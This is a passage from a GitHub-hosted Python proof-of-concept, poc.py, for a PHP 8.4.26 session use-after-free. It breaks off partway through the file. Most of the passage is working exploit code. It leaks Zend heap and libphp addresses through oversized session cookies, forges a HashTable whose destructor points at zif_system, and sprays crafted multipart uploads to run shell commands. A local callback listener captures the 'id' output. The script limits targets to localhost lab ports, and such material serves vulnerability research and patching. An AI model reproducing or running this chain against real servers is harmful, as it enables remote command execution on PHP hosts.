Repository navigation
Expand file tree
/
Copy pathpoc.py
More file actions
executable file
·2079 lines (1895 loc) · 74.4 KB
/
Copy pathpoc.py
File metadata and controls
executable file
·2079 lines (1895 loc) · 74.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
"""Self-checking HTTP reproduction for the PHP 8.4.26 session UAF chain.
The default registry contains the verified official Debian Trixie
``php:8.4.26-apache`` build and its calibrated heap layouts. Additional builds
may record exact binary symbol maps without claiming a compatible heap layout.
Normal selection remains fail closed; explicit ``--build-id`` candidate testing
keeps the separately selected profile layout. The probe first leaks
a Zend MM chunk address and the loaded libphp base, then reclaims the stale
session global with a forged HashTable whose destructor points at ``zif_system``.
The process exits successfully only after it reads a newly created local
proof file, or after an HTTP proof path returns the expected non-empty content.
It therefore distinguishes memory-corruption symptoms from demonstrated
command execution.
"""
from __future__ import annotations
import argparse
import concurrent.futures
import hashlib
import http.client
import http.server
import json
import re
import secrets
import string
import socket
import ssl
import struct
import sys
import threading
import time
import urllib.parse
from collections import Counter
from dataclasses import dataclass
from pathlib import Path
DEFAULT_PROFILES_FILE = Path(__file__).with_name("profiles.json")
LOCAL_LAB_PORTS = frozenset({18081, 18082, 18083, 18086, 18087, 18088, 18173})
# The stock leak is returned in one URL-encoded Set-Cookie header. Its raw
# value is 1.56 MiB and can expand to several MiB during URL encoding.
http.client._MAXLINE = 12 << 20
@dataclass(frozen=True)
class Part:
name: str
data: bytes
filename: str | None = None
@dataclass(frozen=True)
class BuildMapping:
id: str
php_header: str
server_header: str
image_digest: str
libphp_path: str
libphp_sha256: str
zif_system: int
zval_ptr_dtor: int
@dataclass(frozen=True)
class LayoutMapping:
id: str
session_id_length: int
execution_cookie_length: int
heap_fillers: int
array_target: int
array_value_size: int
hash_offset: int
execution_fake_fields: int
stock_leak_length: int
stock_execution_pads: int
stock_execution_carriers: int
stock_fake_fields: int
stock_reference_field: int
stock_reference_offset: int
fake_payload_size: int
fake_execute_data_offset: int
fake_command_zval_offset: int
fake_command_offset: int
command_limit: int
auto_capture_command_size: int
@dataclass(frozen=True)
class RuntimeProfile:
id: str
mode: str
build: BuildMapping
layout: LayoutMapping
auto_select: bool
probe_bytes: int
probe_contains: tuple[bytes, ...]
huge_megabytes: int
minimum_huge_megabytes: int
@dataclass(frozen=True)
class ProfileRegistry:
builds: dict[str, BuildMapping]
layouts: dict[str, LayoutMapping]
profiles: dict[str, RuntimeProfile]
class CallbackProof:
"""Capture fresh `id` stdout when the app has no writable web path."""
def __init__(self, bind: str, port: int) -> None:
self.bind = bind
self.port = port
self.event = threading.Event()
self.output = ""
owner = self
class Handler(http.server.BaseHTTPRequestHandler):
def do_POST(self) -> None: # noqa: N802 - stdlib callback name
length = int(self.headers.get("Content-Length", "0"))
payload = self.rfile.read(length) if 0 < length <= 4096 else b""
if (
self.path == "/"
and re.search(rb"^uid=[0-9]+", payload)
and re.search(rb"\bgid=[0-9]+", payload)
):
owner.output = payload.decode("ascii", errors="replace").strip()
owner.event.set()
body = b"proof\n"
self.send_response(200)
else:
body = b"invalid identity proof\n"
self.send_response(400)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, _format: str, *args: object) -> None:
return
self.server = http.server.ThreadingHTTPServer((bind, port), Handler)
self.server.daemon_threads = True
self.thread = threading.Thread(target=self.server.serve_forever, daemon=True)
def start(self) -> None:
self.thread.start()
def wait(self, timeout: float) -> str:
if not self.event.wait(timeout):
return ""
return f"id stdout: {self.output}"
def close(self) -> None:
self.server.shutdown()
self.server.server_close()
self.thread.join(timeout=2.0)
def _required(mapping: dict[str, object], key: str, expected: type) -> object:
value = mapping.get(key)
if not isinstance(value, expected):
raise ValueError(f"profile field {key!r} must be {expected.__name__}")
return value
def _profile_int(mapping: dict[str, object], key: str) -> int:
value = mapping.get(key)
if isinstance(value, bool):
raise ValueError(f"profile field {key!r} must be an integer")
if isinstance(value, int):
return value
if isinstance(value, str):
try:
return int(value, 0)
except ValueError as exc:
raise ValueError(
f"profile field {key!r} is not a valid integer literal"
) from exc
raise ValueError(f"profile field {key!r} must be an integer")
def load_profile_registry(path: Path) -> ProfileRegistry:
try:
raw = json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
raise ValueError(f"cannot load profile registry {path}: {exc}") from exc
if not isinstance(raw, dict) or raw.get("schema_version") != 1:
raise ValueError("profile registry schema_version must be 1")
raw_builds = _required(raw, "builds", dict)
builds: dict[str, BuildMapping] = {}
for build_id, item in raw_builds.items():
if not isinstance(build_id, str) or not isinstance(item, dict):
raise ValueError("profile build entries must be named objects")
symbols = _required(item, "symbols", dict)
builds[build_id] = BuildMapping(
id=build_id,
php_header=str(_required(item, "php_header", str)),
server_header=str(_required(item, "server_header", str)),
image_digest=str(_required(item, "image_digest", str)),
libphp_path=str(_required(item, "libphp_path", str)),
libphp_sha256=str(_required(item, "libphp_sha256", str)).lower(),
zif_system=_profile_int(symbols, "zif_system"),
zval_ptr_dtor=_profile_int(symbols, "zval_ptr_dtor"),
)
raw_layouts = _required(raw, "layouts", dict)
layouts: dict[str, LayoutMapping] = {}
layout_fields = (
"session_id_length",
"execution_cookie_length",
"heap_fillers",
"array_target",
"array_value_size",
"hash_offset",
"execution_fake_fields",
"stock_leak_length",
"stock_execution_pads",
"stock_execution_carriers",
"stock_fake_fields",
"stock_reference_field",
"stock_reference_offset",
"fake_payload_size",
"fake_execute_data_offset",
"fake_command_zval_offset",
"fake_command_offset",
"command_limit",
"auto_capture_command_size",
)
for layout_id, item in raw_layouts.items():
if not isinstance(layout_id, str) or not isinstance(item, dict):
raise ValueError("profile layout entries must be named objects")
values = {key: _profile_int(item, key) for key in layout_fields}
if values["command_limit"] != (
values["fake_payload_size"] - values["fake_command_offset"] - 1
):
raise ValueError(
f"layout {layout_id!r} command_limit disagrees with payload bounds"
)
layouts[layout_id] = LayoutMapping(id=layout_id, **values)
raw_profiles = _required(raw, "profiles", dict)
profiles: dict[str, RuntimeProfile] = {}
for profile_id, item in raw_profiles.items():
if not isinstance(profile_id, str) or not isinstance(item, dict):
raise ValueError("runtime profile entries must be named objects")
build_id = str(_required(item, "build", str))
layout_id = str(_required(item, "layout", str))
if build_id not in builds or layout_id not in layouts:
raise ValueError(f"profile {profile_id!r} references an unknown mapping")
probe_contains = _required(item, "probe_contains", list)
if not probe_contains or not all(isinstance(value, str) for value in probe_contains):
raise ValueError(f"profile {profile_id!r} probe_contains must be strings")
auto_select = item.get("auto_select")
if not isinstance(auto_select, bool):
raise ValueError(f"profile {profile_id!r} auto_select must be boolean")
profiles[profile_id] = RuntimeProfile(
id=profile_id,
mode=str(_required(item, "mode", str)),
build=builds[build_id],
layout=layouts[layout_id],
auto_select=auto_select,
probe_bytes=_profile_int(item, "probe_bytes"),
probe_contains=tuple(value.encode("utf-8") for value in probe_contains),
huge_megabytes=_profile_int(item, "huge_megabytes"),
minimum_huge_megabytes=_profile_int(item, "minimum_huge_megabytes"),
)
if not profiles:
raise ValueError("profile registry contains no runtime profiles")
return ProfileRegistry(builds=builds, layouts=layouts, profiles=profiles)
def parse_elf_symbol_offsets(path: Path) -> tuple[str, dict[str, int]]:
data = path.read_bytes()
digest = hashlib.sha256(data).hexdigest()
if data[:6] != b"\x7fELF\x02\x01":
raise ValueError("--libphp must be a little-endian ELF64 file")
e_phoff = struct.unpack_from("<Q", data, 0x20)[0]
e_shoff = struct.unpack_from("<Q", data, 0x28)[0]
e_phentsize, e_phnum = struct.unpack_from("<HH", data, 0x36)
e_shentsize, e_shnum = struct.unpack_from("<HH", data, 0x3A)
loads: list[int] = []
for index in range(e_phnum):
offset = e_phoff + index * e_phentsize
p_type = struct.unpack_from("<I", data, offset)[0]
p_vaddr = struct.unpack_from("<Q", data, offset + 16)[0]
p_memsz = struct.unpack_from("<Q", data, offset + 40)[0]
if p_type == 1 and p_memsz:
loads.append(p_vaddr)
if not loads:
raise ValueError("--libphp ELF contains no loadable segment")
bias = min(loads)
sections: list[tuple[int, int, int, int, int]] = []
for index in range(e_shnum):
offset = e_shoff + index * e_shentsize
sh_type = struct.unpack_from("<I", data, offset + 4)[0]
sh_offset, sh_size = struct.unpack_from("<QQ", data, offset + 24)
sh_link = struct.unpack_from("<I", data, offset + 40)[0]
sh_entsize = struct.unpack_from("<Q", data, offset + 56)[0]
sections.append((sh_type, sh_offset, sh_size, sh_link, sh_entsize))
wanted: dict[str, int | None] = {"zif_system": None, "zval_ptr_dtor": None}
# PHP 7 exports the destructor under its implementation name. PHP 8
# exports the public wrapper name. Both are the logical destructor used
# by the build registry; selecting either does not imply layout
# compatibility with the PHP 8 exploit profile.
symbol_keys = {
"zif_system": "zif_system",
"zval_ptr_dtor": "zval_ptr_dtor",
"_zval_ptr_dtor": "zval_ptr_dtor",
}
for sh_type, sh_offset, sh_size, sh_link, sh_entsize in sections:
if sh_type not in (2, 11) or sh_link >= len(sections):
continue
_, str_offset, _, _, _ = sections[sh_link]
entry_size = sh_entsize or 24
for index in range(sh_size // entry_size):
offset = sh_offset + index * entry_size
st_name = struct.unpack_from("<I", data, offset)[0]
st_value = struct.unpack_from("<Q", data, offset + 8)[0]
if not st_name:
continue
name_offset = str_offset + st_name
end = data.find(b"\x00", name_offset)
if end < 0:
continue
name = data[name_offset:end].decode("ascii", "replace")
logical_name = symbol_keys.get(name)
if logical_name is not None and wanted[logical_name] is None:
wanted[logical_name] = st_value - bias
missing = [name for name, value in wanted.items() if value is None]
if missing:
raise ValueError("--libphp is missing symbols: " + ", ".join(missing))
return digest, {name: int(value) for name, value in wanted.items()}
def multipart(parts: list[Part], boundary: bytes) -> bytes:
body = bytearray()
for part in parts:
body.extend(b"--" + boundary + b"\r\n")
body.extend(b'Content-Disposition: form-data; name="')
body.extend(part.name.encode("ascii"))
body.extend(b'"')
if part.filename is not None:
body.extend(b'; filename="' + part.filename.encode("ascii") + b'"')
body.extend(b"\r\nContent-Type: application/octet-stream")
body.extend(b"\r\n\r\n")
body.extend(part.data)
body.extend(b"\r\n")
body.extend(b"--" + boundary + b"--\r\n")
return bytes(body)
class HttpEndpoint:
def __init__(self, url: str, timeout: float) -> None:
parsed = urllib.parse.urlsplit(url)
if parsed.scheme != "http":
raise ValueError("the published reproducer accepts only http:// local labs")
if parsed.username or parsed.password or parsed.fragment:
raise ValueError("userinfo and URL fragments are not accepted")
host = parsed.hostname
if host not in {"localhost", "127.0.0.1", "::1"}:
raise ValueError("target must be localhost, 127.0.0.1, or ::1")
port = parsed.port or 80
if port not in LOCAL_LAB_PORTS:
allowed = ", ".join(str(item) for item in sorted(LOCAL_LAB_PORTS))
raise ValueError(f"target port must be one of the shipped lab ports: {allowed}")
self.tls = parsed.scheme == "https"
self.host = host
self.connect_host = "127.0.0.1" if host == "localhost" else host
self.port = port
self.path = parsed.path or "/"
if parsed.query:
self.path += "?" + parsed.query
self.timeout = timeout
def connect(self) -> socket.socket:
failure: OSError | None = None
for _ in range(10):
try:
stream = socket.create_connection(
(self.connect_host, self.port), timeout=self.timeout
)
if self.tls:
stream = ssl.create_default_context().wrap_socket(
stream, server_hostname=self.host
)
stream.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
return stream
except OSError as exc:
failure = exc
time.sleep(0.3)
assert failure is not None
raise failure
def post(
self,
parts: list[Part],
boundary: bytes,
*,
headers: dict[str, str] | None = None,
read_limit: int = 1 << 20,
timeout: float | None = None,
) -> bytes:
body = multipart(parts, boundary)
extra = "".join(f"{key}: {value}\r\n" for key, value in (headers or {}).items())
request = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode('ascii')}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n\r\n"
).encode("ascii")
stream = self.connect()
stream.settimeout(timeout or self.timeout)
received = bytearray()
# The worker can abort immediately after returning Set-Cookie. Reading
# concurrently preserves response bytes already delivered before RST.
def receive() -> None:
try:
while len(received) < read_limit:
block = stream.recv(min(65536, read_limit - len(received)))
if not block:
return
received.extend(block)
except OSError:
return
reader = threading.Thread(target=receive, daemon=True)
reader.start()
try:
try:
stream.sendall(request)
view = memoryview(body)
for offset in range(0, len(body), 262144):
stream.sendall(view[offset : offset + 262144])
except OSError:
pass
reader.join((timeout or self.timeout) + 1.0)
return bytes(received)
finally:
stream.close()
def get_response(
self, path: str, read_limit: int = 1 << 20
) -> tuple[int, dict[str, str], bytes]:
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n\r\n"
).encode("ascii")
stream = self.connect()
stream.settimeout(self.timeout)
received = bytearray()
try:
stream.sendall(request)
try:
while len(received) < read_limit:
block = stream.recv(min(65536, read_limit - len(received)))
if not block:
break
received.extend(block)
except OSError:
pass
finally:
stream.close()
head, _, body = bytes(received).partition(b"\r\n\r\n")
match = re.match(rb"HTTP/1\.[01] (\d{3})", head)
headers: dict[str, str] = {}
for line in head.split(b"\r\n")[1:]:
name, separator, value = line.partition(b":")
if separator:
headers[name.decode("latin1").lower()] = value.decode("latin1").strip()
return (int(match.group(1)) if match else 0), headers, body
def get(self, path: str, read_limit: int = 1 << 20) -> tuple[int, bytes]:
status, _, body = self.get_response(path, read_limit)
return status, body
class KeepAliveEndpoint:
"""One HTTP connection pinned to one Apache prefork worker."""
def __init__(self, endpoint: HttpEndpoint) -> None:
self.endpoint = endpoint
if endpoint.tls:
self.connection: http.client.HTTPConnection = http.client.HTTPSConnection(
endpoint.host,
endpoint.port,
timeout=endpoint.timeout,
context=ssl.create_default_context(),
)
else:
self.connection = http.client.HTTPConnection(
endpoint.host, endpoint.port, timeout=endpoint.timeout
)
def close(self) -> None:
self.connection.close()
def get_response(
self, path: str, read_limit: int = 1 << 20
) -> tuple[int, dict[str, str], bytes]:
self.connection.request(
"GET",
path,
headers={"Connection": "keep-alive"},
)
response = self.connection.getresponse()
headers = {name.lower(): value for name, value in response.getheaders()}
body = response.read(read_limit)
if response.length not in (None, 0):
response.read()
return response.status, headers, body
def post(
self,
parts: list[Part],
boundary: bytes,
*,
headers: dict[str, str] | None = None,
) -> tuple[int, bool, str, bytes]:
body = multipart(parts, boundary)
request_headers = {
"Content-Type": "multipart/form-data; boundary="
+ boundary.decode("ascii"),
"Connection": "keep-alive",
}
request_headers.update(headers or {})
self.connection.request(
"POST",
self.endpoint.path,
body=body,
headers=request_headers,
)
response = self.connection.getresponse()
cookie = response.getheader("Set-Cookie", "")
response_body = response.read()
return response.status, response.will_close, cookie, response_body
class ChunkedKeepAliveEndpoint:
"""Raw-response transport that pins one producer/consumer pair to a worker.
Producer bodies use HTTP chunked transfer coding so Apache does not supply
PHP with a usable Content-Length. This lets the request reach the normal
memory limit instead of being rejected by the stock post_max_size check.
"""
def __init__(self, endpoint: HttpEndpoint) -> None:
self.endpoint = endpoint
self.timeout = endpoint.timeout
if endpoint.tls:
self.connection: http.client.HTTPConnection = http.client.HTTPSConnection(
endpoint.host,
endpoint.port,
timeout=endpoint.timeout,
context=ssl.create_default_context(),
)
else:
self.connection = http.client.HTTPConnection(
endpoint.host, endpoint.port, timeout=endpoint.timeout
)
def close(self) -> None:
self.connection.close()
def _send_chunk(self, data: bytes | memoryview) -> None:
view = memoryview(data)
for offset in range(0, len(view), 262144):
chunk = view[offset : offset + 262144]
self.connection.send(f"{len(chunk):x}\r\n".encode("ascii"))
self.connection.send(chunk)
self.connection.send(b"\r\n")
def _send_chunked_multipart(self, parts: list[Part], boundary: bytes) -> None:
for part in parts:
header = bytearray(b"--" + boundary + b"\r\n")
header.extend(b'Content-Disposition: form-data; name="')
header.extend(part.name.encode("ascii"))
header.extend(b'"')
if part.filename is not None:
header.extend(b'; filename="' + part.filename.encode("ascii") + b'"')
header.extend(b"\r\nContent-Type: application/octet-stream")
header.extend(b"\r\n\r\n")
self._send_chunk(header)
self._send_chunk(part.data)
self._send_chunk(b"\r\n")
self._send_chunk(b"--" + boundary + b"--\r\n")
self.connection.send(b"0\r\n\r\n")
def post(
self,
parts: list[Part],
boundary: bytes,
*,
headers: dict[str, str] | None = None,
read_limit: int = 1 << 20,
timeout: float | None = None,
) -> bytes:
request_headers = {
"Content-Type": "multipart/form-data; boundary="
+ boundary.decode("ascii"),
"Connection": "keep-alive",
}
request_headers.update(headers or {})
self.connection.timeout = timeout or self.timeout
chunked = any(part.name == "big" for part in parts)
if chunked:
self.connection.putrequest(
"POST", self.endpoint.path, skip_accept_encoding=True
)
for key, value in request_headers.items():
self.connection.putheader(key, value)
self.connection.putheader("Transfer-Encoding", "chunked")
self.connection.endheaders()
self._send_chunked_multipart(parts, boundary)
else:
self.connection.request(
"POST",
self.endpoint.path,
body=multipart(parts, boundary),
headers=request_headers,
)
response = self.connection.getresponse()
response_body = response.read()
status = (
f"HTTP/1.1 {response.status} {response.reason}\r\n".encode("latin1")
)
raw_headers = b"".join(
f"{key}: {value}\r\n".encode("latin1")
for key, value in response.getheaders()
)
return status + raw_headers + b"\r\n" + response_body[:read_limit]
def decoded_session_cookie(response: bytes) -> bytes:
match = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", response)
if match is None:
return b""
return urllib.parse.unquote_to_bytes(match.group(1).decode("latin1"))
def find_heap_chunk(cookie: bytes) -> int:
if len(cookie) < 1000:
return 0
candidates: Counter[int] = Counter()
for offset in range(0, len(cookie) - 7):
pointer = int.from_bytes(cookie[offset : offset + 8], "little")
if 0x7F0000000000 <= pointer < 0x800000000000:
candidates[pointer & ~0x1FFFFF] += 1
if not candidates:
return 0
base, observations = candidates.most_common(1)[0]
return base if observations >= 8 else 0
def find_libphp(cookie: bytes, destructor_offset: int) -> int:
if len(cookie) < 16:
return 0
pointer = int.from_bytes(cookie[8:16], "little")
if not 0x7F0000000000 <= pointer < 0x800000000000:
return 0
if (pointer & 0xFFF) != (destructor_offset & 0xFFF):
return 0
base = pointer - destructor_offset
return base if (base & 0xFFF) == 0 else 0
def load_offsets(path: Path | None) -> dict[str, int]:
values: dict[str, int] = {}
if path is None:
return values
for raw in path.read_text(encoding="utf-8").splitlines():
line = raw.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, value = line.split("=", 1)
values[key.strip()] = int(value.strip(), 0)
return values
def fake_hashtable_payload(
command: bytes, address: int, zif_system: int, layout: LayoutMapping
) -> bytes:
payload = bytearray(layout.fake_payload_size)
struct.pack_into("<II", payload, 0x00, 1, 7)
struct.pack_into("<II", payload, 0x08, 0x10, 0xFFFFFFF8)
struct.pack_into("<Q", payload, 0x10, address + 0x20)
struct.pack_into("<II", payload, 0x18, 1, 1)
struct.pack_into("<II", payload, 0x20, 8, 0)
struct.pack_into("<Q", payload, 0x28, 0)
struct.pack_into("<Q", payload, 0x30, zif_system)
execute_data = layout.fake_execute_data_offset
struct.pack_into("<Q", payload, execute_data + 0x00, 0)
struct.pack_into("<Q", payload, execute_data + 0x08, 0)
struct.pack_into("<Q", payload, execute_data + 0x10, zif_system)
struct.pack_into("<Q", payload, execute_data + 0x18, 0)
struct.pack_into("<Q", payload, execute_data + 0x20, 0)
struct.pack_into("<I", payload, execute_data + 0x28, 0)
struct.pack_into("<I", payload, execute_data + 0x2C, 1)
struct.pack_into("<Q", payload, execute_data + 0x30, 0)
struct.pack_into("<Q", payload, execute_data + 0x38, 0)
struct.pack_into("<I", payload, execute_data + 0x40, 0)
struct.pack_into(
"<Q", payload, execute_data + 0x50, address + layout.fake_command_zval_offset
)
struct.pack_into("<I", payload, execute_data + 0x58, 6)
command_zval = layout.fake_command_zval_offset
struct.pack_into("<II", payload, command_zval, 1, 0x106)
struct.pack_into("<Q", payload, command_zval + 0x08, 0)
struct.pack_into("<Q", payload, command_zval + 0x10, len(command))
command_offset = layout.fake_command_offset
payload[command_offset : command_offset + len(command)] = command
payload[command_offset + len(command)] = 0
return bytes(payload)
class Reproducer:
def __init__(
self,
endpoint: HttpEndpoint,
command: bytes,
zif_offset: int,
destructor_offset: int,
huge_megabytes: int,
layout: LayoutMapping,
session_id: bytes,
) -> None:
self.http = endpoint
self.command = command
self.zif_offset = zif_offset
self.destructor_offset = destructor_offset
self.huge_megabytes = huge_megabytes
self.layout = layout
self.session_id = session_id
def oversized(self) -> Part:
return Part("big", b"B" * (self.huge_megabytes * 1024 * 1024))
@staticmethod
def upload() -> Part:
return Part("f", b"A" * 64, filename="a.txt")
def reset_worker(self) -> None:
print("[*] requesting a fresh prefork worker", flush=True)
pressure = [Part(f"f{i:04d}"[:5], b"V" * 3000) for i in range(1001)]
pressure.extend(
[
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self.upload(),
self.oversized(),
]
)
self.http.post(pressure, b"S" * 17, timeout=max(90.0, self.http.timeout))
time.sleep(0.3)
trigger = [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
]
self.http.post(trigger, b"BNDRY12345", read_limit=65536, timeout=20.0)
time.sleep(0.5)
def leak_heap(self) -> int:
prime = [Part(f"p{i:04d}", b"x") for i in range(1001)]
prime.extend(
[
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self.upload(),
self.oversized(),
]
)
self.http.post(prime, b"S" * 17, timeout=max(90.0, self.http.timeout))
time.sleep(0.2)
reclaim = [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
]
for index in range(self.layout.heap_fillers):
value = (f"v{index:04d}" + "x" * 44)[:48].encode("ascii")
reclaim.append(Part(str(1000 + index), value))
forged = bytearray(b"A" * 79)
struct.pack_into("<Q", forged, 0x10, 0x1000)
forged[0x18] = ord("L")
reclaim.append(Part("1999", bytes(forged)))
response = self.http.post(reclaim, b"B" * 10, read_limit=9 << 20)
return find_heap_chunk(decoded_session_cookie(response))
def leak_libphp(self) -> int:
prime = [Part(f"f{i:04d}"[:5], b"x" * 39) for i in range(1001)]
prime.extend(
[
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
self.upload(),
self.oversized(),
]
)
self.http.post(prime, b"S" * 17, timeout=max(90.0, self.http.timeout))
time.sleep(0.2)
reclaim = [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
]
for array_index in range(983):
count = 16 if array_index == self.layout.array_target else 1
for value_index in range(count):
reclaim.append(
Part(
f"a{array_index:04d}[{value_index}]",
b"x" * self.layout.array_value_size,
)
)
response = self.http.post(reclaim, b"B" * 10)
return find_libphp(decoded_session_cookie(response), self.destructor_offset)
def fake_hashtable(self, address: int, zif_system: int) -> bytes:
return fake_hashtable_payload(self.command, address, zif_system, self.layout)
def execute(self, fake_table_address: int, zif_system: int) -> None:
prime = [
Part("PHPSESSID", b"a" * self.layout.session_id_length),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"p" * 3),
]
for index in range(6):
prime.append(Part(f"p{index:030d}"[:31], b"V" * 31))
prime.extend([self.upload(), self.oversized()])
self.http.post(
prime,
b"S" * 17,
headers={
"Cookie": "PHPSESSID=" + "a" * self.layout.execution_cookie_length
},
timeout=max(90.0, self.http.timeout),
)
time.sleep(0.3)
fake_table = self.fake_hashtable(fake_table_address, zif_system)
# This bin-40 zend_string lands on the stale reference. Its first
# eight bytes preserve the reference header and the next seven bytes
# replace the value pointer with the sprayed HashTable address.
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", fake_table_address)[:7]
reclaim = [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
Part("f00", b"F" * 15),
Part("f01", b"F" * 15),
Part("g00", carrier),
]
reclaim.extend(
Part(f"a{index:030d}"[:31], fake_table)
for index in range(self.layout.execution_fake_fields)
)
self.http.post(reclaim, b"B" * 10, read_limit=65536, timeout=30.0)
class StockReproducer:
"""Default-config exploit path pinned to one Apache prefork worker."""
def __init__(
self,
endpoint: HttpEndpoint,
command: bytes,
zif_offset: int,
destructor_offset: int,
hash_offset: int,
layout: LayoutMapping,
session_id: bytes,
) -> None:
self.http = KeepAliveEndpoint(endpoint)
self.command = command
self.zif_offset = zif_offset
self.destructor_offset = destructor_offset
self.hash_offset = hash_offset
self.layout = layout
self.session_id = session_id
def close(self) -> None:
self.http.close()
def compact_oom(self, *, execution: bool) -> list[Part]:
if execution:
parts = [
Part("PHPSESSID", b"a" * self.layout.session_id_length),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
]
parts.extend(
Part(f"p{index:06d}", b"V" * 7)
for index in range(self.layout.stock_execution_pads)
)
else:
parts = [
Part("PHPSESSID", b"\x00"),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
Part("f", b"A" * 64, filename="a.txt"),
]
parts.extend(
Part(f"z{index}" + "[a]" * 60, b"", filename="")
for index in range(950)
)
return parts
def leak_reclaim(self) -> list[Part]:
forged = bytearray(b"A" * 63)
struct.pack_into("<Q", forged, 0x10, self.layout.stock_leak_length)
forged[0x18:0x21] = b"STOCKLEAK"
return [
Part("PHPSESSID", self.session_id),
Part("PHP_SESSION_UPLOAD_PROGRESS", b"pwn"),
Part("1000", bytes(forged)),
]
def parse_addresses(self, cookie_header: str) -> tuple[int, int]:
if not cookie_header.startswith("PHPSESSID="):
return 0, 0
encoded = cookie_header[len("PHPSESSID=") :].split(";", 1)[0]
raw = urllib.parse.unquote_to_bytes(encoded)
if len(raw) < 1 << 20:
return 0, 0
chunks: Counter[int] = Counter()
destructor_candidates: Counter[int] = Counter()
for offset in range(len(raw) - 7):
